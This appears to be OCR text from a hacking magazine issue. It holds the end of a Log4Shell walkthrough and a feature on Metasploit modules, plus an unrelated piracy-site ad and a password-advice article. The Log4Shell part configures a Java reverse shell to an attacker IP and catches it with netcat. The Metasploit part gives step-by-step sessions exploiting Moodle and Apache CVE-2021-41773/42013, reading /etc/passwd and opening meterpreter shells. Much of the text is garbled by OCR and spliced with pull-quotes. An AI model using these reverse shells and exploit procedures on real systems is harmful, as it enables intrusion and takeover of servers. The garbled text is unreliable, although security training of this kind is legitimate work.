] Total time: ©01:20 min
] Finished at: 2022-01-31T06:06:00-05:00

The build is successful. As I said, I wanted to change the payload. I downloaded a Java reverse
shell payload from the source shown below.

' ~/logdshell
clone https://github.com/ivan-sincek/java-reverse-tcp
Cloning into 'java-reverse-tcp'...
remote: Enumerating objects: 67, done.
remote: Counting objects: 100% (40/40), done.

remote: Compressing objects: 100% (30/30), done.
remote: Total 67 (delta 9), reused 34 (delta 4), pack-reused 27

Receiving objects: 100% (67/67), 165.57 KiB | 3.38 MiB/s, done.
Resolving deltas: 100% (17/17), done.




~/logd4shell/java-reverse-tcp
LICENSE README . md

' ~/logd4shell/java-reverse-tcp
Log4]

~/log4shell/java-reverse-tcp/log4j

BindShell.java| ReverseShell. java

[ opened the reverse shell Java payload and configured the LHOST and LPORT options to my

attacker machine.
public class ReverseShell {

// change the host address and/or port number as necessary

private static InetSocketAddress addr new InetSocketAddress("192.168.36.171", 8315);
private static String 0s null;

private static String shell null;

private static bytel[] buffer null;

private static int clen 0;

private static boolean error false;

nwuwnnn

private static boolean detect() {

hen, I compiled it as shown below to get the payload.

~/log4shell/java-reverse-tcp/logdj
ReverseShell. java
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t
rue

~/logd4shell/java-reverse-tcp/log4]

BindShell. java | ReverseShell.class ReverseShell.java

Then I start the HT'TP server from the directory. I am hosting the Java reverse shell payload on
port 8000. Then I started the marshalsec LDAP server.

~/log4shell/marshalsec
target

~/log4shell/marshalsec/target

marshalsec-0.0.3-SNAPSHOT -¢

marshalsec-0.0.3-SNAPSHO

T
T
|

~/1logdshell/marshalsec/target’
marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServ
http://127.0.0.1:8000/#ReverseShelll}




'~/Llogd4shell/marshalsec/target’
marshalsec-0.0.3-SNAPSHOT-all. jar marshalsec.jndi.LDAPRefServ

er http://127.0.0.1:8000/#ReverseShell
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t

rue
Listening on 0.0.0.0:1389

hat this LDAP server does is receive the incoming LDAP query and forward it to the HT'TP ser-
er running on port 8000 which is the hosting the payload. The payload is triggered and reverse
shell is initiated to the Netcat listener that’s on standby.

8315
listening on [any] 8315 ...

t’s time to trigger the payload as shown below.

= — —

his time I successfully got a shell on the target.

' ~/logdshell/marshalsec/target
marshalsec-@.B.3-SNAPSHOTfa11.jar marshalsec. jndi.LDAPRefServ

er #HRev
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t

rue

Listening on 0.0.0.0:1389
Send LDAP reference result for redirecting to http://127.0.0.1:8000/Rever

seShell.class
i
]

8315

listening on [any] 8315 ...
connect to [192.168.36.171] from (UNKNOWN) [192.168.36.226] 60470

$ id
uid=111(solr) gid=113(solr) groups=113(solr)

s i

Finally I got shell.




" CVE-2021-41773, CVE-2021-42013, MSF File Share and 3 Moodle Modules )

" METASPLOIT THIS MONTH y

Welcome to Metasploit This Month. Let us learn about the latest exploit modules of Metasploit
and how they fare in our tests.

Moodle Admin Shell Upload RCE Module

TARGET: Moodle TYPE: Remote
MODULE : Exploit ANTI-MALWARE : NA

Just like the Wordpress admin shell upload module, this module will generate a malicious
plugin for Moodle installations, upload it to the target and execute it on the target to get a reverse
shell on the target.

Of course to do all this we need credentials of a admin account on the target. We have tested
this exploit module on Moodle 3.11.2. The download information for Moodle is given in our
Downloads section. Let's see how this module works. Start Metaspoit and load the
moodle_admin_shell_upload module.

mst6 > search moodle

Matching Modules

—— i —— — . — — . . —— — — —
S g g

# Name Disclo
sure Date Rank Check Description

exploit/multi/http/moodle admin shell upload
Yes Moodle Admin Shell Upload
exploit/multi/http/moodle spelling binary rce 2013-1
0-30 Yes Moodle Authenticated Spelling Binary RCE
2 exploit/multi/http/moodle spelling path rce 2021-0
6-22 Yes Moodle SpellChecker Path Authenticated Remote
Command Execution
3 exploit/multi/http/moodle teacher enrollment priv esc to rce 2020-0
7-20 good Yes Moodle Teacher Enrollment Privilege Escalatio
n to RCE

—

"By exploiting these vulnerabilities, attackers can successfully install malware
that survives operating system re-installations and allows the bypass of
endpoint security solutions (EDR/AV), Secure Boot, and Virtualization-Based
Security 1solation”

- Researchers on recent vulnerabilities discovered in UEFI of vendors.
S |




msf6 > use 0
Using configured payload php/meterpreter/reverse tcp
msf6 exploit(multi/http/moodle admin shell upload) > show options

Module options (exploit/multi/http/moodle admin shell upload):

Current Setting Required Description

PASSWORD Admin password to authenticate
with

Proxies A proxy chain of format type:ho
st:port[,type:host:port][...]

RHOSTS The target host(s), see https:/
/github.com/rapid7/metasploit-f
ramework/wiki/Using-Metasploit

RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing
connections

TARGETURI / The base path to the moodle app
lication

USERNAME  admin Admin username to authenticate
with

VHOST HTTP server virtual host

Payload options (php/meterpreter/reverse tcp):

The listen address (an interface ma
y be specified)
LPORT 4444 The listen port

Set all the required options and use check command to see if the target is indeed vulnerable .

msfé exploit(multi/http/moodle admin_shell upload) > set rhosts 192.168.36

. 148

rhosts => 192.168.36.148

msf6 exploit(multi/http/moodle admin shell upload) > set targeturi /moodle

targeturi => /moodle

msf6 exploit(multi/http/moodle admin shell upload) > check
192.168.36.148:80 - The target appears to be vulnerable. Exploitable M

oodle version 3.11.2 detected

msf6 exploit(multi/http/moodle admin shell upload) > |

Set the credentials of the administrator account .




msf6 exploit(multi/http/moodle admin shell upload) > set username admin2
username => admin2

msf6 exploit(multi/http/moodle admin shell upload) > set password ABcdl234
-

password => ABcdl234#

hen all the options are set, execute the module as shown below.
msfé exploit(multi/http/moodle admin shell upload) > run

Started reverse TCP handler on 192.168.36.171:4444

Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2
detected

Authenticating as user: admin2
[+] Authentication was successful with user: admin2

Creating addon file

Creating plugin named: dimemvuv with poisoned header: RPGZ

Uploading addon
[+] Upload Successful. Integrating addon

Triggering payload

Sending stage (39282 bytes) to 192.168.36.148
[+] You will need to change directories on meterpreter to get full functio
nality. Try: cd /tmp

Meterpreter session 1 opened (192.168.36.171:4444 -> 192.168.36.148:55
286 ) at 2022-01-17 05:44:19 -0500

Uninstalling plugin after 5 second delay so payload can change directo
ries

meterpreter >

meterpreter > sysinfo

Computer : ubuntu

0S : Linux ubuntu 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:
39:52 UTC 2018 x86 64

Meterpreter : php/linux

meterpreter > getuid

Server username: daemon

meterpreter > |}

Moodle Spelling Path RCE Module

TARGET: Moodle <= 3.11.2 TYPE: Remote
MODULE : Exploit ANTI-MALWARE : NA

There is a feature in Moodle that allows an administrator to define settings of spellcheck
through web interface. However, through this module we can change the aspell path to include a
command injection. This module is similar to CVE-2013-3630 but uses a different variable.




e have tested this exploit module on Moodle 3.11.2. The download information of the Moodle
is given in our Downloads section. Let's see how this module works. Load the moodle_spelling
path_rce module.

msf6 > search moodle

Matching Modules

# Name Disclo
sure Date Rank Check Description

0 expl01t/mult1/http/mood1e admin shell upload
4-28 1t Yes Moodl€ Admin Shell Upload
1 exploit/multi/http/moodle spelling binary rce 2013-1
0-30 Yes Moodle Authenticated Spelling Binary RCE
2 expl01t/mu1t1/http/mood1e spelling path rce 2021-0
6-22 t Yes Moodle SpellChecker Path Authenticated Remote
Command Execution
3 exploit/multi/http/moodle teacher enrollment priv esc to rce 2020-0
7-20 good Yes Moodlé Teacher Enrollment Privilege Escalatio
n to RCE
.
msf6 > use 2
Using configured payload php/meterpreter/reverse tcp
msf6 exploit(multi/http/moodle spelling path rce) > show options

Module options (exploit/multi/http/moodle spelling path rce):
Name Current Setting Required Description

PASSWORD Password to authenticate
with

Proxies A proxy chain of format
type:host:port[,type:hos
tiporiil...J

RHOSTS The target host(s), see
https://github.com/rapid
7/metasploit-framework/w
iki/Using-Metasploit

RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for ou
tgoing connections

TARGETURI / The base path to the moo
dle application




RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for ou
tgoing connections

TARGETURI / The base path to the moo
dle application

USERNAME admin Username to authenticate
with

VHOST HTTP server virtual host

Payload options (php/meterpreter/reverse tcp):

Name Current Setting Required Description
LHOST The listen address (an inter

face may be specified)
LPORT 4444 The listen port

Set all the required options and use check command to see if the target in indeed vulnerable.

msfé exploit(multi/http/moodle spelling path rce) > set rhosts 192.
168.40.144

rhosts => 192.168.40.144

msf6 exploit(multi/http/moodle spelling path rce) > set targeturi /
moodle

targeturi => /moodle

msfé exploit(multi/http/moodle spelling path rce) > check

Sleeping 5 seconds before cleanup

Authenticating as user: admin
(-] Failed login during cleanup

192.168.40.144:80 - The target appears to be vulnerable. Exploi
table Moodle version 3.8 detected
msf6 exploit(multi/http/moodle spelling path rce) > Jj

hen, set the credentials.

msf6 exploit(multi/http/moodle admin shell upload) > set username admin2
username => admin2

msf6 exploit(multi/http/moodle admin shell upload) > set password ABcdl234
B

password => ABcdl234#

After all the options are set, execute the module as shown below.

Not enough place for a quote here.

A




msf6 exploit(multi/http/moodle spelling path rce) > set lhost 192.16
8.40.130

Lhost => 192.168.40.130

msf6 exploit(multi/http/moodle spelling path rce) > run

Started reverse TCP handler on 192.168.40.130:4444
Running automatic check ("set AutoCheck false" to disable)

[+] The target appears to be vulnerable. Exploitable Moodle version
3.8 detected

Authenticating as user: admin

Updating aspell path

Changing spell engine to PSpellShell

Triggering payload

Sending stage (39282 bytes) to 192.168.40.144

Meterpreter session 1 opened (192.168.40.130:4444 -> 192.168.40.
:50446 ) at 2022-01-17 12:02:28 -0500

Sleeping 5 seconds before cleanup
Authenticating as user: admin
Removing RCE from settings

meterpreter >

meterpreter > sysinfo

Computer : server20043

0S : Linux server20043 5.4.0-81-generic #91-Ubuntu SMP Thu
Jul 15 19:09:17 UTC 2021 x86 64

Meterpreter : php/linux

meterpreter > getuid

Server username: www-data

meterpreter > |}

As readers can see, we have a successful meterpreter session.

Moodle Teacher Enrolment Privesc RCE Module

TARGET: Moodle 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12
TYPE: Remote MODULE : Exploit ANTI-MALWARE : NA

he above mentioned versions of Moodle have a chain vulnerability through which a user with
eacher privileges can add himself as a Manager of the course. Then he can add more users and
add someone with Manager privileges of the system.

After doing this, the module can use a “loginas” feature to access the system manager’s
account. Then the system is reconfigured by giving rights to all users to install a plugin or theme.
his uploaded malicious plugin or theme can be used to execute remote code on the target. We
require credentials of a Teacher account for this module. After everything is successful, the

permissions are revoked.




e have tested this exploit module on Moodle 3.9. The download information of the Moodle is
given in our Downloads section. Let's see how this module works. Load the moodle_teacher_
enrollment_priv_esc_to_rce module.

msfé > search moodle

Matching Modules

# Name
sure Date Rank Check Description

0 expl01t/mu1t1/http/moodle admin shell upload
4-28 . Yes Moodlé Admin Shell Upload

| explolt/multl/http/moodle spelling binary rce 2013-1
0-30 t Yes Moodle Authenticated Spelling Binary RCE

2 exploit/multi/http/moodle spelling path rce 2021-0
6-22 Yes Moodle SpellChecker Path Authenticated Remote

Command Execution

3 exploit/multi/http/moodle teacher enrollment priv esc to rce 2020-0
7-20 good Yes Moodl€ Teacher Enrollment Privilege Escalatio
n to RCE

L _ _______________________________________________|
msf6 > use 3
Using configured payload php/meterpreter/reverse tcp
msf6 exploit(multi/http/moodle_teacher_enrollment_p
riv_esc_to rce) > show options

Module options (exploit/multi/http/moodle_teacher_enrollment priv_es
¢ to rce):

Name Current Setting Required Description

MAXUSERS 100 Maximum amount of users t
0 add to course looking f
or admin

PASSWORD Password to authenticate
with

Proxies A proxy chain of format t
ype:host:port[,type:host:
port]l...]

RHOSTS yes The target host(s), see h
ttps://github.com/rapid7/
metasploit-framework/wiki

—
Here there 1s space but no quote fitting this

space.




Proxies A proxy chain of format t
ype:host:port[,type:host:
port)l...]

RHOSTS The target host(s), see h
ttps://github.com/rapid7/
metasploit-framework/wiki
/Using-Metasploit

RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for out
going connections

TARGETURI / The base path to the mood
le application

USERNAME Username to authenticate
with

VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse tcp):
Name Current Setting Required Description

The listen address (an interf
ace may be specified)
LPORT 4444 The listen port

Exploit target:

Id Name

0 Automatic

Set all the required options and use check command to see if the target is indeed vulnerable.

msf6 exploit(multi/http/moodle_teacher_enrollment _p
riv_esc_to_rce) > set rhosts 192.168.40.144
rhosts => 192.168.40.144
msfé exploit(multi/http/moodle teacher_enrollment p
riv esc to rce) > set targeturi /moodle39
targeturi => /moodle39
msf6 exploit(multi/http/moodle teacher enrollment p
riv_esc_to rce) > check

192.168.40.144:80 - The target appears to be vulnerable. Exploit
able Moodle version 3.9 detected
msfé exploit(multi/http/moodle teacher enrollment p
riv esc to rce) >

Set the credentials.




msfé exploit(multi/http/moodle teacher enrollment p
riv_esc_to rce) > set username first teacher
username => first teacher

msf6 exploit(multi/http/moodle_teacher_enrollment _p
riv_esc _to rce) > set password ABcdl234#

password => ABcd1234#

msf6 exploit(multi/http/moodle teacher enrollment p
riv esc to rce) > set lhost 192.168.40.130

lhost => 192.168.40.130

msf6 exploit(multi/http/moodle_ teacher_enrollment p
riv_esc_to_rce) >

After all the options are set, execute the module as shown below.

msf6 exploit(multi/http/moodle_teacher_enrollment_p
riv_esc_to rce) > run

Started reverse TCP handler on 192.168.40.130:4444

Running automatic check ("set AutoCheck false" to disable)
The target appears to be vulnerable. Exploitable Moodle version
detected

Authenticating as user: first teacher

Retrieving user info

User ID: 3

Course ID: 2

Sessionkey: 87ZVCYdOKh

Retrieving course enrollment 1id

Enrol ID: 1

Attempting to enrolin in class as manager (priv esc)
Successfully enrolled

Attempting to find and add a manager to class

Attempting user: 2

Successfully enrolled

Attempting user: 3

Unsuccessful
Attempting user: 28
Unsuccessful
Attempting user: 29
Unsuccessful
Attempting user: 30
-] Unsuccessful
Attempting user: 31
-] Unsuccessful
Attempting user: 32
Unsuccessful
Attempting user:
Unsuccessful




WHAT IS
AVAXHOME?



the biggest Internet portal,
providing you various content:
B brand new books, trending movies,
fresh magazines, hot games,

recent software, latest music releases.

Unlimited satisfaction one low price
Cheap constant access to piping hot media
Protect your downloadings from Big brother

Safer, than torrent-trackers

18 years of seamless operation and our users' satisfaction

All languages
Brand new content

One site

AvaxHome - Your End Place

We have everything for all of your needs. Just open https://avxlive.icu



Attempting user: 99

Unsuccessful

Retrieving course context id

Context ID: 25

Found manager user IDs: ["4", "3"]

Attempting loginas for user id: 4

Logged in as: first manager

Looks like a potentially good manager account!

Attempting via new session key: XAQ40gUybv

Checking if permissions were set successfully

Manager roll full permissioned, attempting to upload shell

Creating plugin named: ixxxgznn with poisoned header: XMRL

Uploading addon

Upload Successful. Integrating addon

Triggering payload

Sending stage (39282 bytes) to 192.168.40.144
[+] You will need to change directories on meterpreter to get full f
unctionality. Try: cd /tmp

Meterpreter session 1 opened (192.168.40.130:4444 -> 192.168.40.
144:38230 ) at 2022-01-18 00:19:09 -0500

Uninstalling plugin

Resetting permissions

meterpreter > sysinfo

Computer : server20043

0S : Linux server20043 5.4.0-8l-generic #91-Ubuntu SMP Thu
Jul 15 19:09:17 UTC 2021 x86 64

Meterpreter : php/linux

meterpreter > getuid

Server username: www-data

meterpreter > |}

As readers can see we have a successful meterpreter session on the target.

Metasploit File Share Module

TARGET: Any Target with a Meterpreter Session

TYPE: Local MODULE : POST ANTI-MALWARE : OFF

This module enables pen testers to view in browser the file system of the target on which they
have a meterpreter session. We have tested this module on Windows 10 on which we already
have a meterpreter session with low privileges.

"T'his RAT possesses other capabilities, such as command execution and
screen capturing, as well as the ablhtz to download additional extensions."

“-Tom Fakterman, Security Analyst on StrifeWater RAT.

-




msf6 exploit(multi/handler) > run

Started reverse TCP handler on 192.168.36.171:4466

Sending stage (175174 bytes) to 192.168.36.219

Meterpreter session 1 opened (192.168.36.171:4466 -> 192.168.36.219:50
138 ) at 2022-01-18 07:21:45 -0500

meterpreter > sysinfo

Computer : DESKTOP-0ANUVGP

0S : Windows 10 (10.0 Build 17763).
Architecture : X64

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : X86/windows
meterpreter > getuid

Server username: DESKTOP-OANUVGP\admin
meterpreter > |

[et's see how this module works. Background the current meterpreter session and load the
post/multi/manage/fileshare module.

meterpreter > background
Backgrounding session 1...
msf6 exploit(multi/handler) > search fileshare

Matching Modules

——— P —
U U—— R ——

# Name Disclosure Date Rank Check Descrip
tion

® post/multi/manage/fileshare
the session filesystem in a Web Browser
msf6 exploit(multi/handler) > use 0
msf6 post(multi/manage/fileshare) > show options

Module options (post/multi/manage/fileshare):

Name Current Setting Required Description

SESSION The session to run this module on

SRVHOST 127.0.0.1 yes The local host or network interfa
ce to listen on. This must be an
address on the local machine or 0
.0.0.0 to listen on all addresses

SRVPORT 8086 The local port to listen on.
SSL false Negotiate SSL for incoming connec




Set the Session ID of the meterpreter session and execute the module.

msf6 post(multi/manage/fileshare) > set session 1
session => 1
msf6 post(multi/manage/fileshare) > run

Using URL: http://127.0.0.1:8080/pCeZZ8UpoIVIUrl
Server started.

Current directory: http://127.0.0.1:8080/pCeZZ8UpoIVIUrI/C:/Users/adml
n/Downloads

1
Open a browser and go to the URL highlighted in above image.

Metasploit File Sharing = +

<« cC @ © @ 127.0.01:8

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums MNetHunter || Offensive Security Exploit-DB GHDB || MSFU

Directory listing for C:/Users/admin/Downloads

& ..
* desktop.ini
e shell 171 4466.exe

We can see the target system’s file system.

CVE -2021-41773 & CVE - 2021 - 42013 Scanner Module

TARGET: Apache 2.4.49, 2.4.50 TYPE: Remote
MODULE : Auxiliary ANTI-MALWARE : NA

Both the above mentioned versions of Apache suffer from a path traversal vulnerability. This

Module scans for CVE-2021-41773 vulnerability in Apache 2.4.49 and CVE-2021-42013 vulnerabili
Lty in Apache 2.4.50. This module can also display the file we want to view through path traversal.
Let’s set the target first. We will be using Docker containers of the vulnerable versions. Let’s

first start with CVE-2021-41773.

"The end goal for Moses Staft ap bears to be more politically motivated

than financial."




—

| run CVE-2021-41773 8080:80 /opt/apache2.4.49
: /usr/local/apache2/htdocs httpd:2.4.49
Unable to find image 'httpd:2.4.49' locally
2.4.49: Pulling from library/httpd
07aded7c29c6: Pull complete
05bb40c81148: Pull complete
0827b74117da: Pull complete
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcbafdl2e2362fb0c50ec524ae8aalccadadba7216617a57e7bbca2076
7e79cc
Status: Downloaded newer 1image for httpd:2.4.49
be6f41043cdadeb44564b6eb579c067ababe67a0b81559a6b53175¢c48b021612

CVE-2021-41773 sed
conf/httpd.conf

ker exec CVE-2021-41773 sed
onf/httpd.conf

stop CVE-2021-41773

CVE-2021-41773

start CVE-2021-41773

CVE-2021-41773

Similarly let’s start CVE-2021-42013 vulnerable container.

"Moses Staft employs ransomware post-exfiltration not for financial gain,
but to disrupt operations, obfuscate espionage activity, and to inflict damage
to systems to advance Iran's geopolitical goals."

-Tom Fakterman, Security Analyst on StrifeWater RAT.




run CVE-2021-42013 8081:81 /opt/apache2.4.50:
/usr/local/apache2/htdocs httpd:2.4.50

Unable to find image 'httpd:2.4.50' locally

2.4.50: Pulling from library/httpd

07aded7c29c6: Already exists

05bb40c8f148: Already exists

0827b74117da: Already exists

6fdb4ffeaccd: Pull complete

91182adb0e79: Pull complete

Digest: sha256:b73a8591d3f1f170568b501ce645dc900T8f1c4c697fbc2420cae3502ab
5e02c

Status: Downloaded newer image for httpd:2.4.50
6ab3b8aee5d02ebcb8029dfba3c72b17f4422e7d54bf7a78db23182733df84b5

exec CVE-2021-42013 sed
| conf/httpd.conf

exec -1t CVE-2021-42013 sed

nf/httpd.conf

exec CVE-2021-42013 sed
conf/httpd. conf

stop CVE-2021-42013

CVE-2021-42013

—

start CVE-2021-42013

CVE-2021-42013




he targets are set. Find out the target’s IP address using docker inspect command.

pS

CONTAINER ID IMAGE COMMAND CREATED STATUS
PORTS NAMES

httpd:2.4.49 "httpd-foreground" 2 minutes ago Up 10

seconds 0.0.0.0:8080->80/tcp CVE-2021-41773

inspect be6f41043cdal}

[Load the apache_normalize_path scanner module.

msf6 > use auxiliary/scanner/http/apache normalize path

msf6 auxiliary(scanner/http/apache normalize path) > show opions
[-] Invalid parameter "opions", use "show -h" for more information
msf6 auxiliary(scanner/http/apache normalize path) > show options

Module options (auxiliary/scanner/http/apache normalize path):
Current Setting Required Description

CVE-2021-42013 The vulnerability to use (Accep
ted: CVE-2021-41773, CVE-2021-4
2013)
5 Depth for Path Traversal
FILEPATH /etc/passwd no File you want to read
Proxies no A proxy chain of format type:ho
st:port[,type:host:port][...]
RHOSTS yes The target host(s), see https:/
/github.com/rapid7/metasploit-f
ramework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing

Set all the required options as shown below. By default CVE is set to CVE-2021-42013.

msf6é auxiliary(scanner/http/apache normalize path) > set rhosts 172.17.0.2
rhosts => 172.17.0.2

msf6 auxiliary(scanner/http/apache normalize path) > set rport 80

rport => 80

msf6 auxiliary(scanner/http/apache normalize path) > set ssl false

ssl => false

msf6 auxiliary(scanner/http/apache normalize path) > |

Set action to CHECK_TRAVERSAL and execute the module.

"My primary goal of hacking was the intellectual curiosity, the seduction of

L adventure. - Kevin Mitnick P




msf6 auxiliary(scanner/http/apache normalize path) > set action CHECK TRAV

ERSAL
action => CHECK TRAVERSAL
msf6é auxiliary(scanner/http/apache normalize path) > run

[+] http://172.17.0.2:80 - The target is vulnerable to CVE-2021-42013.
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary(scanner/http/apache normalize path) > |}

he target is vulnerable. Set CVE to CVE-2021-41773. Set the required options and execute the
module.

msf6 auxiliary(scanner/http/apache normalize path) > set CVE CVE-2021-4177
3

CVE => (CVE-2021-41773

msfé6 auxiliary(scanner/http/apache normalize path) > run

[+] http://172.17.0.2:80 - The target 1is vulnerable to CVE-2021-41773.
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

Now, change the action to READ_FILE as shown below. Since the targets are vulnerable to path
traversal we should be able to view the files. By default it is set to view the /etc/passwd file.

msf6é auxiliary(scanner/http/apache normalize path) > set action READ FILE

action => READ FILE
msf6 auxiliary(scanner/http/apache normalize path) > run

Obtained HTTP response code 200.
[+] 172.17.0.2:80
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:X:3:3:sys:/dev:/usr/sbin/nologin
sync:X:4:65534:sync:/bin:/bin/sync
games:X:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:Xx:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data: /var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

'FW[CoukilunmzevadedwiuaFT&Ialotlon er if I had been able to control my
passion for hacking. " - Kevin Mitnick

S |

'1




CVE - 2021 -41773 & CVE - 2021 - 42013 RCE Module

TARGET: Apache 2.4.49, 2.4.50 TYPE: Remote
MODULE : Exploit ANTI-MALWARE : NA

Both the above mentioned versions of Apache suffer from a path traversal vulnerability which
enables attackers to view the intended files as CGI scripts. If these CGI scripts are also enabled
for aliased paths, remote code could be executed on the target.

Let’s see how this exploit works. We have used the same target as used in the above module.

e can use the above same scanner module to check if the target is vulnerable to remote code inj
ection as shown below.
msf6 auxiliary(scanner/http/apache normalize path) > set rhosts 172.17.0.3
rhosts => 172.17.0.3
msf6 auxiliary(scanner/http/apache normalize path) > set rport 80
rport => 80
msf6 auxiliary(scanner/http/apache normalize path) > set action CHECK RCE
action => CHECK RCE
msf6 auxiliary(scanner/http/apache normalize path) > }}
e —— ——— —_— -+ - _ - _. -  —— ~—~~~~  — ____________________
msf6 auxiliary(scanner/http/apache normalize path) > run

[+] http://172.17.0.3:80 - The target 1is vulnerable to CVE-2021-42013 (mod
- cgl 1is enabled).

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary(scanner/http/apache normalize path) > |

[f the target is vulnerable, load the apache_normalize_path_rce module as shown below.
msf6 > use exploit/multi/http/apache normalize path rce

Using configured payload linux/x64/meterpreter/reverse tcp
msf6 exploit(multi/http/apache normalize path rce) > show options

Module options (exploit/multi/http/apache normalize path rce):

Name Current Setting Required Description

CVE CVE-2021-42013 The vulnerability to use (Accep
ted: CVE-2021-41773, CVE-2021-4
2013)

DEPTH Depth for Path Traversal

Proxies A proxy chain of format type:ho
st:port[,type:host:port]|[...]

RHOSTS The target host(s), see https:/
/github.com/rapid7/metasploit-f
ramework/wiki/Using-Metasploit
The target port (TCP)
Negotiate SSL/TLS for outgoing




TARGETURI /cgi-bin Base path
VHOST HTTP server virtual host

Payload options (linux/x64/meterpreter/reverse tcp):

Name Current Setting Requlired Description

LHOST The listen address (an interface ma
y be specified)
LPORT 4444 The listen port

Exploit target:
Id Name

®© Automatic (Dropper)

msf6 exploit(multi/http/apache normalize path rce) > |}

Set the required options as shown below and use the check command to see if the target is indeed
ulnerable.

msf6 exploit(multi/http/apache normalize path rce) > set rhosts 172.17.0.3
rhosts = 172.17.6.3

msf6 exploit(multi/http/apache normalize path rce) > set ssl false

[!] Changing the SSL option's value may require changing RPORT!

ssl => false

msfé exploit(multi/http/apache normalize path rce) > set rport 80

rport => 80

msf6 exploit(multi/http/apache normalize path rce) > check

Using auxiliary/scanner/http/apache normalize path as check
[+] http://172.17.0.3:80 - The target is vulnerable to CVE-2021-42013 (mod
_cgl is enabled).
Scanned 1 of 1 hosts (100% complete)
[+] 172.17.0.3:80 - The target is vulnerable.
msf6 exploit(multi/http/apache normalize path rce) > |}

After all the options are set, execute the module.

"This hacking campaign utilizes malicious PDFs, XLS files and Windows
executables to deploy malicious PowerShell-based downloaders acting as
initial footholds 1into the target's enterprise."

- Ashneer Malhotra and Vitor Ventura, Researchers at Cisco Talos on
recently discovered Iranian hacking campaign that targets Turkish users."

A




msf6 exploit(multi/http/apache normalize path rce) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf6 exploit(multi/http/apache normalize path rce) > run

Started reverse TCP handler on 172.17.0.1:4444
Using auxiliary/scanner/http/apachg_normalizerpath as check

[+] http://172.17.0.3:80 - The target is vulnerable to CVE-2021-42013 (mod
_Cgl 1is enabled).

Scanned 1 of 1 hosts (100% complete)

http://172.17.0.3:80 - Attempt to exploit for CVE-2021-42013

http://172.17.0.3:80 - Sending linux/x64/meterpreter/reverse tcp comma
nd payload

Sending stage (3012548 bytes) to 172.17.0.3

Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:49732 ) at
2022-01-19 07:47:25 -0500
[!] This exploit may require manual cleanup of '/tmp/YzfaNoVc' on the targ
et

meterpreter > sysinfo
Computer r Af2.17.9.3

0S : Debian 10.10 (Linux 5.10.0-kali7-amd64)
Architecture : x64

BuildTuple : x86 64-linux-musl

Meterpreter : x64/linux

meterpreter > getuid
Server username: daemon

meterpreter > |}

As readers can see, we have a successful meterpreter session.
" This New Year, why not resolve to ditch your dodgy old passwords? )
A A
this year, wily not consider cleaning up your pas
Paul Haskell - Downland -swords to\(/)\} e Fe hab .
Professor of Cyber security practice ¢ all know the ha lt,s to avord, yet so
dith C Universi many of us do them anyway: using predictable
Edith Cowan University passwords, never changing them, or writing the-
m on sticky notes on our monitor. We routinely
Lorries Cranor ignore the recommendations for good passwords
Professor of Computer Science & Engineering & in the name of convenience.
Public Policy Choosing short passwords containing
Carnecie Mellon Universit common names or words is likely to lead to trou
5 y -ble. Hackers can often guess a person’s passwor
Most of the classic New Year resolutions revolve 45 Slmf?ly by using a computer to work through
around improving your health and lifestyle. But a long list of commonly used words.
(Cont'd On Next Page)




The most popular choices have changed very This lets you use unique strong passwords for all
little over time, and include numerical combinat your various logins, without having to remember
Hons such as “123456” (the most common passw them yourself.
rord for five years in a row), “love”, keyboard Password managers allow you to store all of
patterns such as “qwerty” and, perhaps most lud your passwords in one place and to “lock” them
Hcrously, “password” (or its Portuguese translatio away with a strong level of protection. This can
n, “senha”). be a single (strong) password, but can also inclu-

Experts have long advised against using de face or fingerprint recognition, depending on
words, places or names in passwords, although the device you are using. Although there is som-
you can strengthen this type of password by jum e risk associated with storing your passwords in
-bling the components into sequences with a mix one place, experts consider this much less risky
ture of upper- and lowercase characters, as long than using the same password for multiple
as you do it thoroughly. accounts.

Complex rules often lead users to choose a The password manager can automatically
word or phrase and then substitute letters with  create strong, randomised passwords for each di
numbers and symbols (such as “Pa33w9rd!”), or -fferent service you use. This means your Linked
add digits to a familiar password (“password12”) In, Gmail and eBay accounts can no longer be
But so many people do this that these technique accessed by someone who happens to guess the

s don’t actually make passwords stronger. name of your childhood pet dog.

It’s better to start with a ] ] ] If one password is
word or two that isn’t so  L.ven lf you write them down in a bOOkleaked, you only have
lcommon, and make sure (kept safely locked away) you will to change that one —
you mix things up with significantly reduce your risk in the event”°"° of the others are

symbols and special compromised.
[characters in the middle. of a data breach on any of those There are many pass-
For example, “wincing giraffe” platforms," word managers to choose from.
|could be adapted to “Wlnclng 'Glraff3” Some are free (such as Keepass) or “freemium”

